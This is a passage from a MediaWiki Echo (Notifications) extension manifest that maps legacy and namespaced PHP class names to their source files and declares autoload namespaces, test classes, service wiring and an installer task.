"EchoEditUserTalkPresentationModel": "includes/Formatters/EchoEditUserTalkPresentationModel.php",
"MediaWiki\\Extension\\Notifications\\Formatters\\EchoEditUserTalkPresentationModel": "includes/Formatters/EchoEditUserTalkPresentationModel.php",
"EchoEvent": "includes/Model/Event.php",
"MediaWiki\\Extension\\Notifications\\Model\\Event": "includes/Model/Event.php",
"EchoEventPresentationModel": "includes/Formatters/EchoEventPresentationModel.php",
"MediaWiki\\Extension\\Notifications\\Formatters\\EchoEventPresentationModel": "includes/Formatters/EchoEventPresentationModel.php",
"EchoMentionPresentationModel": "includes/Formatters/EchoMentionPresentationModel.php",
"MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionPresentationModel": "includes/Formatters/EchoMentionPresentationModel.php",
"EchoMentionStatusPresentationModel": "includes/Formatters/EchoMentionStatusPresentationModel.php",
"MediaWiki\\Extension\\Notifications\\Formatters\\EchoMentionStatusPresentationModel": "includes/Formatters/EchoMentionStatusPresentationModel.php",
"EchoNotification": "includes/Model/Notification.php",
"MediaWiki\\Extension\\Notifications\\Model\\Notification": "includes/Model/Notification.php",
"EchoNotificationMapper": "includes/Mapper/NotificationMapper.php",
"MediaWiki\\Extension\\Notifications\\Mapper\\NotificationMapper": "includes/Mapper/NotificationMapper.php",
"EchoNotifier": "includes/Notifier.php",
"MediaWiki\\Extension\\Notifications\\Notifier": "includes/Notifier.php",
"EchoPresentationModelSection": "includes/Formatters/EchoPresentationModelSection.php",
"MediaWiki\\Extension\\Notifications\\Formatters\\EchoPresentationModelSection": "includes/Formatters/EchoPresentationModelSection.php",
"EchoUserLocator": "includes/UserLocator.php",
"MediaWiki\\Extension\\Notifications\\UserLocator": "includes/UserLocator.php",
"GenerateSampleNotifications": "maintenance/generateSampleNotifications.php",
"MWEchoDbFactory": "includes/DbFactory.php",
"MediaWiki\\Extension\\Notifications\\DbFactory": "includes/DbFactory.php",
"ProcessEchoEmailBatch": "maintenance/processEchoEmailBatch.php",
"RecomputeNotifCounts": "maintenance/recomputeNotifCounts.php",
"RemoveInvalidNotification": "maintenance/removeInvalidNotification.php",
"RemoveOrphanedEvents": "maintenance/removeOrphanedEvents.php",
"EchoUpdatePerUserBlacklist": "maintenance/updatePerUserBlacklist.php",
"EchoPush\\PushNotifier": "includes/Push/PushNotifier.php",
"MediaWiki\\Extension\\Notifications\\Push\\PushNotifier": "includes/Push/PushNotifier.php"
},
"AutoloadNamespaces": {
"MediaWiki\\Extension\\Notifications\\": "includes/"
},
"TestAutoloadClasses": {
"MediaWiki\\Extension\\Notifications\\Test\\EchoAbstractMapperStub": "tests/phpunit/Mapper/EchoAbstractMapperStub.php"
},
"TestAutoloadNamespaces": {
"MediaWiki\\Extension\\Notifications\\Test\\": "tests/phpunit/",
"MediaWiki\\Extension\\Notifications\\Test\\Integration\\": "tests/phpunit/integration/"
},
"ServiceWiringFiles": [
"ServiceWiring.php"
],
"ConfigRegistry": {
"Echo": "GlobalVarConfig::newInstance"
},
"InstallerTasks": [
{
"class": "MediaWiki\\Extension\\Notifications\\InstallSchemaTask"
}
]
}